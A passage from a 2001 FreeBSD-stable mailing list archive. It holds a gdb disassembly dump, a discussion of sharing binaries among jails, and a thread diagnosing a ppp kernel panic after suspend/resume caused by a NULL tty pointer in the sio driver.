0x804fd22 : shl $0xc,%eax=0D 0x804fd25 : push %eax=0D 0x804fd26 : push $0xd0=0D 0x804fd2b : push %edi=0D 0x804fd2c : call 0x8050aec =0D 0x804fd31 : add $0x10,%esp=0D 0x804fd34 : cmpl $0x0,0xfffffffc(%ebp)=0D 0x804fd38 : je 0x804fd5c =0D 0x804fd3a : cmpl $0x0,0x8055208=0D 0x804fd41 : jne 0x804fd50 =0D 0x804fd43 : mov 0xfffffffc(%ebp),%eax=0D 0x804fd46 : mov %eax,0x8055208=0D 0x804fd4b : jmp 0x804fd5c =0D 0x804fd4d : lea 0x0(%esi),%esi=0D 0x804fd50 : add $0xfffffff4,%esp=0D ---Type to continue, or q to quit---=0D 0x804fd53 : mov 0xfffffffc(%ebp),%eax=0D 0x804fd56 : push %eax=0D 0x804fd57 : call 0x80501c0 =0D 0x804fd5c : mov %edi,%eax=0D 0x804fd5e : lea 0xffffffe8(%ebp),%esp=0D 0x804fd61 : pop %ebx=0D 0x804fd62 : pop %esi=0D 0x804fd63 : pop %edi=0D 0x804fd64 : mov %ebp,%esp=0D 0x804fd66 : pop %ebp=0D 0x804fd67 : ret =0D 0x804fd68 : push %ebp=0D 0x804fd69 : mov %esp,%ebp=0D 0x804fd6b : sub $0x1c,%esp=0D 0x804fd6e : push %edi=0D 0x804fd6f : push %esi=0D 0x804fd70 : push %ebx=0D 0x804fd71 : mov $0x10,%eax=0D 0x804fd76 : cmpl $0xf,0x8(%ebp)=0D 0x804fd7a : cmova 0x8(%ebp),%eax=0D 0x804fd7e : movl $0x1,0xfffffffc(%ebp)=0D 0x804fd85 : dec %eax=0D 0x804fd86 : jmp 0x804fd8b =0D 0x804fd88 : incl 0xfffffffc(%ebp)=0D ---Type to continue, or q to quit---=0D 0x804fd8b : sar $0x1,%eax=0D 0x804fd8e : jne 0x804fd88 =0D 0x804fd90 : mov 0x80551c8,%eax=0D 0x804fd95 : mov 0xfffffffc(%ebp),%edx=0D 0x804fd98 : cmpl $0x0,(%eax,%edx,4)=0D 0x804fd9c : jne 0x804ff14 =0D 0x804fda2 : add $0xfffffff4,%esp=0D 0x804fda5 : push $0x1000=0D 0x804fdaa : call 0x804fc60 =0D 0x804fdaf : mov %eax,0xfffffff8(%ebp)=0D 0x804fdb2 : add $0x10,%esp=0D 0x804fdb5 : test %eax,%eax=0D 0x804fdb7 : je 0x804ff0a =0D 0x804fdbd : mov $0x1000,%eax=0D 0x804fdc2 : mov 0xfffffffc(%ebp),%ecx=0D 0x804fdc5 : shr %cl,%eax=0D 0x804fdc7 : add $0x1f,%eax=0D 0x804fdca : shr $0x5,%eax=0D 0x804fdcd : lea 0x10(,%eax,4),%eax=0D 0x804fdd4 : mov %eax,0xfffffff4(%ebp)=0D 0x804fdd7 : mov $0x1,%eax=0D 0x804fddc : shl %cl,%eax=0D 0x804fdde : mov 0xfffffff4(%ebp),%edx=0D 0x804fde1 : add %edx,%edx=0D ---Type to continue, or q to quit---=0D 0x804fde3 : cmp %edx,%eax=0D 0x804fde5 : jle 0x804fe14 =0D 0x804fde7 : add $0xfffffff4,%esp=0D 0x804fdea : mov 0xfffffff4(%ebp),%edi=0D 0x804fded : push %edi=0D 0x804fdee : call 0x804ffa8 =0D 0x804fdf3 : mov %eax,%ebx=0D 0x804fdf5 : add $0x10,%esp=0D 0x804fdf8 : test %ebx,%ebx=0D 0x804fdfa : jne 0x804fe17 =0D 0x804fdfc : add $0xfffffff4,%esp=0D 0x804fdff : mov 0xfffffff8(%ebp),%eax=0D 0x804fe02 : push %eax=0D 0x804fe03 : call 0x80501c0 =0D 0x804fe08 : xor %eax,%eax=0D 0x804fe0a : add $0x10,%esp=0D 0x804fe0d : jmp 0x804ff06 =0D 0x804fe12 : mov %esi,%esi=0D 0x804fe14 : mov 0xfffffff8(%ebp),%ebx=0D 0x804fe17 : mov $0x1,%eax=0D 0x804fe1c : mov 0xfffffffc(%ebp),%ecx=0D 0x804fe1f : shl %cl,%eax=0D 0x804fe21 : mov %ax,0x8(%ebx)=0D 0x804fe25 : mov %cx,0xa(%ebx)=0D ---Type to continue, or q to quit---=0D 0x804fe29 : mov $0x1000,%eax=0D 0x804fe2e : mov 0xfffffffc(%ebp),%ecx=0D 0x804fe31 : shr %cl,%eax=0D 0x804fe33 : mov %ax,0xc(%ebx)=0D 0x804fe37 : mov %ax,0xe(%ebx)=0D 0x804fe3b : mov 0xfffffff8(%ebp),%edi=0D 0x804fe3e : mov %edi,0x4(%ebx)=0D 0x804fe41 : movzwl %ax,%eax=0D 0x804fe44 : mov %eax,0xfffffff0(%ebp)=0D 0x804fe47 : xor %esi,%esi=0D 0x804fe49 : cmp $0x1f,%eax=0D 0x804fe4c : jbe 0x804fe6d =0D 0x804fe4e : lea 0x10(%ebx),%edx=0D 0x804fe51 : lea 0x0(%esi),%esi=0D 0x804fe54 : mov %esi,%eax=0D 0x804fe56 : shr $0x5,%eax=0D 0x804fe59 : movl $0xffffffff,(%edx,%eax,4)=0D 0x804fe60 : add $0x20,%esi=0D 0x804fe63 : mov 0xfffffff0(%ebp),%eax=0D 0x804fe66 : sub %esi,%eax=0D 0x804fe68 : cmp $0x1f,%eax=0D 0x804fe6b : ja 0x804fe54 =0D 0x804fe6d : cmp 0xfffffff0(%ebp),%esi=0D 0x804fe70 : jge 0x804fe92 =0D ---Type to continue, or q to quit---=0D 0x804fe72 : lea 0x10(%ebx),%edi=0D 0x804fe75 : lea 0x0(%esi),%esi=0D 0x804fe78 : mov %esi,%edx=0D 0x804fe7a : shr $0x5,%edx=0D 0x804fe7d : mov %esi,%ecx=0D 0x804fe7f : and $0x1f,%ecx=0D 0x804fe82 : mov $0x1,%eax=0D 0x804fe87 : shl %cl,%eax=0D 0x804fe89 : or %eax,(%edi,%edx,4)=0D 0x804fe8c : inc %esi=0D 0x804fe8d : cmp 0xfffffff0(%ebp),%esi=0D 0x804fe90 : jl 0x804fe78 =0D 0x804fe92 : cmp 0x4(%ebx),%ebx=0D 0x804fe95 : jne 0x804fedb =0D 0x804fe97 : xor %esi,%esi=0D 0x804fe99 : cmpl $0x0,0xfffffff4(%ebp)=0D 0x804fe9d : jle 0x804fedb =0D 0x804fe9f : lea 0x10(%ebx),%edi=0D 0x804fea2 : mov $0x1,%eax=0D 0x804fea7 : mov 0xfffffffc(%ebp),%ecx=0D 0x804feaa : shl %cl,%eax=0D 0x804feac : mov %eax,0xffffffec(%ebp)=0D 0x804feaf : nop =0D 0x804feb0 : mov %esi,%edx=0D ---Type to continue, or q to quit---=0D 0x804feb2 : shr $0x5,%edx=0D 0x804feb5 : mov %esi,%ecx=0D 0x804feb7 : and $0x1f,%ecx=0D 0x804feba : mov $0x1,%eax=0D 0x804febf : shl %cl,%eax=0D 0x804fec1 : not %eax=0D 0x804fec3 : and %eax,(%edi,%edx,4)=0D 0x804fec6 : decw 0xc(%ebx)=0D 0x804feca : decw 0xe(%ebx)=0D 0x804fece : mov 0xffffffec(%ebp),%edx=0D 0x804fed1 : sub %edx,0xfffffff4(%ebp)=0D 0x804fed4 : inc %esi=0D 0x804fed5 : cmpl $0x0,0xfffffff4(%ebp)=0D 0x804fed9 : jg 0x804feb0 =0D 0x804fedb : mov 0xfffffff8(%ebp),%eax=0D 0x804fede : shr $0xc,%eax=0D 0x804fee1 : sub 0x80551c0,%eax=0D 0x804fee7 : mov 0x80551c8,%edx=0D 0x804feed : mov %ebx,(%edx,%eax,4)=0D 0x804fef0 : mov 0x80551c8,%edx=0D 0x804fef6 : mov 0xfffffffc(%ebp),%ecx=0D 0x804fef9 : mov (%edx,%ecx,4),%eax=0D 0x804fefc : mov %eax,(%ebx)=0D 0x804fefe : mov %ebx,(%edx,%ecx,4)=0D ---Type to continue, or q to quit---=0D 0x804ff01 : mov $0x1,%eax=0D 0x804ff06 : test %eax,%eax=0D 0x804ff08 : jne 0x804ff14 =0D 0x804ff0a : xor %eax,%eax=0D 0x804ff0c : jmp 0x804ff9c =0D 0x804ff11 : lea 0x0(%esi),%esi=0D 0x804ff14 : mov 0x80551c8,%eax=0D 0x804ff19 : mov 0xfffffffc(%ebp),%edi=0D 0x804ff1c : mov (%eax,%edi,4),%ebx=0D 0x804ff1f : lea 0x10(%ebx),%ecx=0D 0x804ff22 : cmpl $0x0,0x10(%ebx)=0D 0x804ff26 : jne 0x804ff30 =0D 0x804ff28 : add $0x4,%ecx=0D 0x804ff2b : cmpl $0x0,(%ecx)=0D 0x804ff2e : je 0x804ff28 =0D 0x804ff30 : mov $0x1,%eax=0D 0x804ff35 : xor %esi,%esi=0D 0x804ff37 : testb $0x1,(%ecx)=0D 0x804ff3a : jne 0x804ff47 =0D 0x804ff3c : mov (%ecx),%edx=0D 0x804ff3e : mov %esi,%esi=0D 0x804ff40 : add %eax,%eax=0D 0x804ff42 : inc %esi=0D 0x804ff43 : test %edx,%eax=0D ---Type to continue, or q to quit---=0D 0x804ff45 : je 0x804ff40 =0D 0x804ff47 : xor %eax,(%ecx)=0D 0x804ff49 : decw 0xc(%ebx)=0D 0x804ff4d : jne 0x804ff63 =0D 0x804ff4f : mov 0x80551c8,%edx=0D 0x804ff55 : mov (%ebx),%eax=0D 0x804ff57 : mov 0xfffffffc(%ebp),%edi=0D 0x804ff5a : mov %eax,(%edx,%edi,4)=0D 0x804ff5d : movl $0x0,(%ebx)=0D 0x804ff63 : lea 0xfffffff0(%ecx),%eax=0D 0x804ff66 : sub %ebx,%eax=0D 0x804ff68 : sar $0x2,%eax=0D 0x804ff6b : shl $0x5,%eax=0D 0x804ff6e : add %eax,%esi=0D 0x804ff70 : movzwl 0xa(%ebx),%ecx=0D 0x804ff74 : shl %cl,%esi=0D 0x804ff76 : cmpl $0x0,0x80551fc=0D 0x804ff7d : je 0x804ff97 =0D 0x804ff7f : add $0xfffffffc,%esp=0D 0x804ff82 : movzwl 0x8(%ebx),%eax=0D 0x804ff86 : push %eax=0D 0x804ff87 : push $0xd0=0D 0x804ff8c : mov %esi,%eax=0D 0x804ff8e : add 0x4(%ebx),%eax=0D ---Type to continue, or q to quit---=0D 0x804ff91 : push %eax=0D 0x804ff92 : call 0x8050aec =0D 0x804ff97 : mov %esi,%eax=0D 0x804ff99 : add 0x4(%ebx),%eax=0D 0x804ff9c : lea 0xffffffd8(%ebp),%esp=0D 0x804ff9f : pop %ebx=0D 0x804ffa0 : pop %esi=0D 0x804ffa1 : pop %edi=0D 0x804ffa2 : mov %ebp,%esp=0D 0x804ffa4 : pop %ebp=0D 0x804ffa5 : ret =0D 0x804ffa6 : mov %esi,%esi=0D 0x804ffa8 : push %ebp=0D 0x804ffa9 : mov %esp,%ebp=0D 0x804ffab : sub $0x10,%esp=0D 0x804ffae : push %esi=0D 0x804ffaf : push %ebx=0D 0x804ffb0 : mov 0x8(%ebp),%esi=0D 0x804ffb3 : cmpl $0x0,0x80551e8=0D 0x804ffba : je 0x804ffc4 =0D 0x804ffbc : call 0x8050a10 =0D 0x804ffc1 : lea 0x0(%esi),%esi=0D 0x804ffc4 : lea 0x1000(%esi),%eax=0D 0x804ffca : cmp %esi,%eax=0D ---Type to continue, or q to quit---=0D 0x804ffcc : jae 0x804ffd4 =0D 0x804ffce : xor %ebx,%ebx=0D 0x804ffd0 : jmp 0x804fff6 =0D 0x804ffd2 : mov %esi,%esi=0D 0x804ffd4 : cmp $0x800,%esi=0D 0x804ffda : ja 0x804ffe8 =0D 0x804ffdc : add $0xfffffff4,%esp=0D 0x804ffdf : push %esi=0D 0x804ffe0 : call 0x804fd68 =0D 0x804ffe5 : jmp 0x804fff1 =0D 0x804ffe7 : nop =0D 0x804ffe8 : add $0xfffffff4,%esp=0D 0x804ffeb : push %esi=0D 0x804ffec : call 0x804fc60 =0D 0x804fff1 : mov %eax,%ebx=0D 0x804fff3 : add $0x10,%esp=0D 0x804fff6 : cmpl $0x0,0x80551f8=0D 0x804fffd : je 0x805000f =0D 0x804ffff : test %ebx,%ebx=0D 0x8050001 : je 0x805000f =0D 0x8050003 : add $0xfffffffc,%esp=0D 0x8050006 : push %esi=0D 0x8050007 : push $0x0=0D 0x8050009 : push %ebx=0D ---Type to continue, or q to quit---=0D 0x805000a : call 0x8050aec =0D 0x805000f : mov %ebx,%eax=0D 0x8050011 : lea 0xffffffe8(%ebp),%esp=0D 0x8050014 : pop %ebx=0D 0x8050015 : pop %esi=0D 0x8050016 : mov %ebp,%esp=0D 0x8050018 : pop %ebp=0D 0x8050019 : ret =0D 0x805001a : mov %esi,%esi=0D 0x805001c : push %ebp=0D 0x805001d : mov %esp,%ebp=0D 0x805001f : sub $0xc,%esp=0D 0x8050022 : push %edi=0D 0x8050023 : push %esi=0D 0x8050024 : push %ebx=0D 0x8050025 : mov 0x8(%ebp),%edi=0D 0x8050028 : cmpl $0x0,0x80551e8=0D 0x805002f : je 0x8050038 =0D 0x8050031 : call 0x8050a10 =0D 0x8050036 : mov %esi,%esi=0D 0x8050038 : mov %edi,%edx=0D 0x805003a : shr $0xc,%edx=0D 0x805003d : sub 0x80551c0,%edx=0D 0x8050043 : cmp $0xb,%edx=0D ---Type to continue, or q to quit---=0D 0x8050046 : ja 0x8050058 =0D 0x8050048 : add $0xfffffff4,%esp=0D 0x805004b : push $0x8051f00=0D 0x8050050 : jmp 0x8050160 =0D 0x8050055 : lea 0x0(%esi),%esi=0D 0x8050058 : cmp 0x80551c4,%edx=0D 0x805005e : jbe 0x8050070 =0D 0x8050060 : add $0xfffffff4,%esp=0D 0x8050063 : push $0x8051f40=0D 0x8050068 : jmp 0x8050160 =0D 0x805006d : lea 0x0(%esi),%esi=0D 0x8050070 : mov 0x80551c8,%eax=0D 0x8050075 : lea (%eax,%edx,4),%ebx=0D 0x8050078 : cmpl $0x2,(%ebx)=0D 0x805007b : jne 0x80500d8 =0D 0x805007d : test $0xfff,%edi=0D 0x8050083 : je 0x8050094 =0D 0x8050085 : add $0xfffffff4,%esp=0D 0x8050088 : push $0x8051f67=0D 0x805008d : jmp 0x8050160 =0D 0x8050092 : mov %esi,%esi=0D 0x8050094 : mov $0x1000,%esi=0D 0x8050099 : jmp 0x80500a2 =0D 0x805009b : nop =0D ---Type to continue, or q to quit---=0D 0x805009c : add $0x1000,%esi=0D 0x80500a2 : add $0x4,%ebx=0D 0x80500a5 : cmpl $0x3,(%ebx)=0D 0x80500a8 : je 0x805009c =0D 0x80500aa : cmpl $0x0,0x80551ec=0D 0x80500b1 : jne 0x805016c =0D 0x80500b7 : cmp %esi,0xc(%ebp)=0D 0x80500ba : ja 0x805016c =0D 0x80500c0 : lea 0xfffff000(%esi),%eax=0D 0x80500c6 : cmp %eax,0xc(%ebp)=0D 0x80500c9 : jbe 0x805016c =0D 0x80500cf : mov %edi,%eax=0D 0x80500d1 : jmp 0x80501b4 =0D 0x80500d6 : mov %esi,%esi=0D 0x80500d8 : cmpl $0x3,(%ebx)=0D 0x80500db : jbe 0x8050158 =0D 0x80500dd : mov (%ebx),%eax=0D 0x80500df : movzwl 0x8(%eax),%eax=0D 0x80500e3 : dec %eax=0D 0x80500e4 : test %eax,%edi=0D 0x80500e6 : je 0x80500f4 =0D 0x80500e8 : add $0xfffffff4,%esp=0D 0x80500eb : push $0x8051f82=0D 0x80500f0 : jmp 0x8050160 =0D ---Type to continue, or q to quit---=0D 0x80500f2 : mov %esi,%esi=0D 0x80500f4 : mov %edi,%eax=0D 0x80500f6 : and $0xfff,%eax=0D 0x80500fb : mov (%ebx),%edx=0D 0x80500fd : movzwl 0xa(%edx),%ecx=0D 0x8050101 : shr %cl,%eax=0D 0x8050103 : mov %eax,%ecx=0D 0x8050105 : shr $0x5,%ecx=0D 0x8050108 : mov %ecx,0xfffffffc(%ebp)=0D 0x805010b : add $0x10,%edx=0D 0x805010e : mov %eax,%esi=0D 0x8050110 : and $0x1f,%esi=0D 0x8050113 : mov $0x1,%eax=0D 0x8050118 : mov %esi,%ecx=0D 0x805011a : shl %cl,%eax=0D 0x805011c : mov 0xfffffffc(%ebp),%ecx=0D 0x805011f : and (%edx,%ecx,4),%eax=0D 0x8050122 : je 0x8050130 =0D 0x8050124 : add $0xfffffff4,%esp=0D 0x8050127 : push $0x8051f9e=0D 0x805012c : jmp 0x8050160 =0D 0x805012e : mov %esi,%esi=0D 0x8050130 : mov (%ebx),%eax=0D 0x8050132 : movzwl 0x8(%eax),%esi=0D ---Type to continue, or q to quit---=0D 0x8050136 : cmpl $0x0,0x80551ec=0D 0x805013d : jne 0x805016c =0D 0x805013f : cmp %esi,0xc(%ebp)=0D 0x8050142 : jae 0x805016c =0D 0x8050144 : mov %esi,%eax=0D 0x8050146 : shr $0x1,%eax=0D 0x8050149 : cmp %eax,0xc(%ebp)=0D 0x805014c : ja 0x80500cf =0D 0x805014e : cmp $0x10,%esi=0D 0x8050151 : jne 0x805016c =0D 0x8050153 : jmp 0x80500cf =0D 0x8050158 : add $0xfffffff4,%esp=0D 0x805015b : push $0x8051fb6=0D 0x8050160 : call 0x804f7e0 =0D 0x8050165 : xor %eax,%eax=0D 0x8050167 : jmp 0x80501b4 =0D 0x8050169 : lea 0x0(%esi),%esi=0D 0x805016c : add $0xfffffff4,%esp=0D 0x805016f : mov 0xc(%ebp),%eax=0D 0x8050172 : push %eax=0D 0x8050173 : call 0x804ffa8 =0D 0x8050178 : mov %eax,%ebx=0D 0x805017a : add $0x10,%esp=0D 0x805017d : test %ebx,%ebx=0D ---Type to continue, or q to quit---q=0D Quit=0D (gdb) The program is running. Exit anyway? (y or n) y=0D fw# pwd=0D=0D /usr/obj/usr/src/i386/usr/bin=0D fw# ^D=08=08exit=0D Script done on Mon Mar 12 06:10:45 2001 --=20 Larry Rosenman http://www.lerctr.org/~ler Phone: +1 972-414-9812 E-Mail: ler@lerctr.org US Mail: 1905 Steamboat Springs Drive, Garland, TX 75044-6749 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 5:27:32 2001 Delivered-To: freebsd-stable@freebsd.org Received: from cisco.com (sword.cisco.com [161.44.208.100]) by hub.freebsd.org (Postfix) with ESMTP id AF3E537B718 for ; Mon, 12 Mar 2001 05:27:29 -0800 (PST) (envelope-from sjt@cisco.com) Received: from sjt-u10.cisco.com (sjt-u10.cisco.com [10.85.30.63]) by cisco.com (8.8.5-Cisco.1/8.8.8) with ESMTP id IAA21991 for ; Mon, 12 Mar 2001 08:27:27 -0500 (EST) From: Steve Tremblett Received: (sjt@localhost) by sjt-u10.cisco.com (8.8.5-Cisco.1/CISCO.WS.1.2) id IAA25065 for freebsd-stable@FreeBSD.ORG; Mon, 12 Mar 2001 08:27:27 -0500 (EST) Message-Id: <200103121327.IAA25065@sjt-u10.cisco.com> Subject: Re: nullfs et al To: freebsd-stable@FreeBSD.ORG Date: Mon, 12 Mar 2001 08:27:27 -0500 (EST) In-Reply-To: <200103091814.TAA91443@lurza.secnetix.de> from "Oliver Fromme" at Mar 09, 2001 07:14:55 PM X-Mailer: ELM [version 2.5 PL1] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG +--- Oliver Fromme wrote: | | Hi, | | What is the "proper" way to mount binaries etc. into a | bunch of jail homes? Obviously, I don't want to copy | /bin, /usr/bin, /usr/lib etc. for every jailed user. | BTW, I'm using 4-stable. | | I've grepped the lists and found the following possible | solutions: | | (A) Local NFS loopback mounts. Seems to work reliably. | Is this the best way? Somehow it is my impression | that the NFS causes some overhead and might cause | some performance impact. Any opinions? | BTW, this particular machine doesn't use any NFS | otherwise (neither client nor server). An alternative to this could be symlinks. In a chroot()ed environment, the user should see symlinks OUT of the jail as the actual files. Populate /usr/local/jail/bin, /usr/local/jail/usr/bin... with whatever you want, and then just link /chroot/path/bin -> /usr/jail/bin... Then you eliminate the NFS overhead, but now links are eating all your inodes... -- Steve Tremblett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 5:33: 6 2001 Delivered-To: freebsd-stable@freebsd.org Received: from probity.mcc.ac.uk (probity.mcc.ac.uk [130.88.200.94]) by hub.freebsd.org (Postfix) with ESMTP id 98A3337B719 for ; Mon, 12 Mar 2001 05:32:59 -0800 (PST) (envelope-from jcm@freebsd-uk.eu.org) Received: from dogma.freebsd-uk.eu.org ([130.88.200.97] ident=root) by probity.mcc.ac.uk with esmtp (Exim 2.05 #4) id 14cSRS-000L4x-00 for freebsd-stable@freebsd.org; Mon, 12 Mar 2001 13:32:54 +0000 Received: (from jcm@localhost) by dogma.freebsd-uk.eu.org (8.11.1/8.11.1) id f2CDWjo87190 for freebsd-stable@freebsd.org; Mon, 12 Mar 2001 13:32:45 GMT (envelope-from jcm) Date: Mon, 12 Mar 2001 13:32:44 +0000 From: j mckitrick To: freebsd-stable@freebsd.org Subject: suspend/restore with ppp connections Message-ID: <20010312133244.C86948@dogma.freebsd-uk.eu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am running 4.2-stable, and have noticed this behavior for quite a while. I have a Toshiba Satellite laptop with a basic PCMCIA modem. If I have a ppp connection up and running, then suspend without disconnecting, after restoring I get a page fault in ppp. I admit this is a sloppy thing to do, since I should disconnect my dialup connection before suspending. But it would be nice if it were handled a bit more gracefully than a panic. And ideas? jm -- ------------------------------------------------------------------- Jonathon McKitrick -- jcm@freebsd-uk.eu.org To Microsoft: "Your tyranny I was part of, is now cracking on every side. Now your own life is in danger. Your Empire is on fire." Front 242 ------------------------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 5:51:39 2001 Delivered-To: freebsd-stable@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 9A61A37B719 for ; Mon, 12 Mar 2001 05:51:36 -0800 (PST) (envelope-from bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id f2CDoGH08544; Mon, 12 Mar 2001 05:50:16 -0800 (PST) Date: Mon, 12 Mar 2001 05:50:15 -0800 From: Alfred Perlstein To: j mckitrick Cc: freebsd-stable@FreeBSD.ORG Subject: Re: suspend/restore with ppp connections Message-ID: <20010312055015.T18351@fw.wintelcom.net> References: <20010312133244.C86948@dogma.freebsd-uk.eu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010312133244.C86948@dogma.freebsd-uk.eu.org>; from jcm@FreeBSD-uk.eu.org on Mon, Mar 12, 2001 at 01:32:44PM +0000 X-all-your-base: are belong to us. Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * j mckitrick [010312 05:33] wrote: > > I am running 4.2-stable, and have noticed this behavior for quite a while. > > I have a Toshiba Satellite laptop with a basic PCMCIA modem. > If I have a ppp connection up and running, then suspend without > disconnecting, after restoring I get a page fault in ppp. > > I admit this is a sloppy thing to do, since I should disconnect my dialup > connection before suspending. But it would be nice if it were handled a bit > more gracefully than a panic. > > And ideas? Jonathon, I was hoping that by now you'd be handing us crashdumps with tracebacks. :) Why not try userland ppp instead of kernel ppp as a workaround? -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] Daemon News Magazine in your snail-mail! http://magazine.daemonnews.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 5:58:31 2001 Delivered-To: freebsd-stable@freebsd.org Received: from probity.mcc.ac.uk (probity.mcc.ac.uk [130.88.200.94]) by hub.freebsd.org (Postfix) with ESMTP id 1511337B718 for ; Mon, 12 Mar 2001 05:58:28 -0800 (PST) (envelope-from jcm@freebsd-uk.eu.org) Received: from dogma.freebsd-uk.eu.org ([130.88.200.97] ident=root) by probity.mcc.ac.uk with esmtp (Exim 2.05 #4) id 14cSqB-000LSA-00; Mon, 12 Mar 2001 13:58:27 +0000 Received: (from jcm@localhost) by dogma.freebsd-uk.eu.org (8.11.1/8.11.1) id f2CDwQ587471; Mon, 12 Mar 2001 13:58:26 GMT (envelope-from jcm) Date: Mon, 12 Mar 2001 13:58:26 +0000 From: j mckitrick To: Alfred Perlstein Cc: freebsd-stable@freebsd.org Subject: Re: suspend/restore with ppp connections Message-ID: <20010312135826.F86948@dogma.freebsd-uk.eu.org> References: <20010312133244.C86948@dogma.freebsd-uk.eu.org> <20010312055015.T18351@fw.wintelcom.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <20010312055015.T18351@fw.wintelcom.net>; from bright@wintelcom.net on Mon, Mar 12, 2001 at 05:50:15AM -0800 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG | Jonathon, I was hoping that by now you'd be handing us crashdumps | with tracebacks. :) I'll take that as a double dog dare. You'll have one tonight, if possible. But I don't know how to cut and paste once I have crashed. | Why not try userland ppp instead of kernel ppp as a workaround? This *is* userland ppp. I've never used pppd. jm -- ------------------------------------------------------------------- Jonathon McKitrick -- jcm@freebsd-uk.eu.org To Microsoft: "Your tyranny I was part of, is now cracking on every side. Now your own life is in danger. Your Empire is on fire." Front 242 ------------------------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 6:41:10 2001 Delivered-To: freebsd-stable@freebsd.org Received: from salmon.maths.tcd.ie (salmon.maths.tcd.ie [134.226.81.11]) by hub.freebsd.org (Postfix) with SMTP id 4FBC137B759 for ; Mon, 12 Mar 2001 06:40:59 -0800 (PST) (envelope-from iedowse@maths.tcd.ie) Received: from walton.maths.tcd.ie by salmon.maths.tcd.ie with SMTP id ; 12 Mar 2001 14:40:58 +0000 (GMT) To: j mckitrick Cc: Alfred Perlstein , freebsd-stable@freebsd.org, iedowse@maths.tcd.ie Subject: Re: suspend/restore with ppp connections In-Reply-To: Your message of "Mon, 12 Mar 2001 13:58:26 GMT." <20010312135826.F86948@dogma.freebsd-uk.eu.org> Date: Mon, 12 Mar 2001 14:40:58 +0000 From: Ian Dowse Message-ID: <200103121440.aa97105@salmon.maths.tcd.ie> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <20010312135826.F86948@dogma.freebsd-uk.eu.org>, j mckitrick writes: > >This *is* userland ppp. I've never used pppd. I saw a crash like this recently - I didn't get a trace/core due to forgetting to set dumpdev and being in X, but thanks to the way Vaios don't clear memory on a reboot, I think I got enough to track this down: sio1: still open, forcing close sio1: unloaded sio1: detached pccard: card disabled, slot 0 resumed from suspended mode (slept 00:00:09) pccard: card inserted, slot 0 ata0: resetting devices .. done sio1 at port 0x2f8-0x2ff irq 11 slot 0 on pccard0 sio1: type 16550A Fatal trap 12: page fault while in kernel mode fault virtual address = 0x8c fault code = supervisor read, page not present instruction pointer = 0x8:0xc02b6c99 stack pointer = 0x10:0xc71fdd48 frame pointer = 0x10:0xc71fdd90 code segment = base 0x0, limit 0xfffff, type 0x1b = DPL 0, pres 1, def32 1, gran 1 processor eflags = interrupt enabled, resume, IOPL = 0 current process = 12580 (ppp) interrupt mask = none trap number = 12 panic: page fault syncing disks... 7 done Uptime: 2d16h40m24s The eip value corresponds to the first dereference of com->tp in sioioctl(): tp = com->tp; ... term = tp->t_termios; The problem is that the card has been reattached, so com->gone is 0. However com->tp is NULL because the driver has not seen an open() since attachment. It would probably be possible to add a few tests for com->tp != NULL in a few places, but sio.c has bigger problems in this area. It seems that a struct tty will be leaked for every insert/removal too. There is also a missing call to the line discipline's l_close function in the forced detach case. A workaround for the panic, I think, is to remove the card before resuming if you accidentally suspend while ppp is running. Ian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 6:44:19 2001 Delivered-To: freebsd-stable@freebsd.org Received: from dire.bris.ac.uk (dire.bris.ac.uk [137.222.10.60]) by hub.freebsd.org (Postfix) with ESMTP id 2AE9437B71A for ; Mon, 12 Mar 2001 06:44:14 -0800 (PST) (envelope-from Jan.Grant@bristol.ac.uk) Received: from mail.ilrt.bris.ac.uk by dire.bris.ac.uk with SMTP-PRIV with ESMTP; Mon, 12 Mar 2001 14:43:58 +0000 Received: from cmjg (helo=localhost) by mail.ilrt.bris.ac.uk with local-esmtp (Exim 3.16 #1) id 14cTWT-0007Nt-00; Mon, 12 Mar 2001 14:42:09 +0000 Date: Mon, 12 Mar 2001 14:42:09 +0000 (GMT) From: Jan Grant To: Steve Tremblett Cc: freebsd-stable Subject: Re: nullfs et al In-Reply-To: <200103121327.IAA25065@sjt-u10.cisco.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 12 Mar 2001, Steve Tremblett wrote: > +--- Oliver Fromme wrote: > | > | Hi, > | > | What is the "proper" way to mount binaries etc. into a > | bunch of jail homes? Obviously, I don't want to copy > | /bin, /usr/bin, /usr/lib etc. for every jailed user. > | BTW, I'm using 4-stable. > | > | I've grepped the lists and found the following possible > | solutions: > | > | (A) Local NFS loopback mounts. Seems to work reliably. > | Is this the best way? Somehow it is my impression > | that the NFS causes some overhead and might cause > | some performance impact. Any opinions? > | 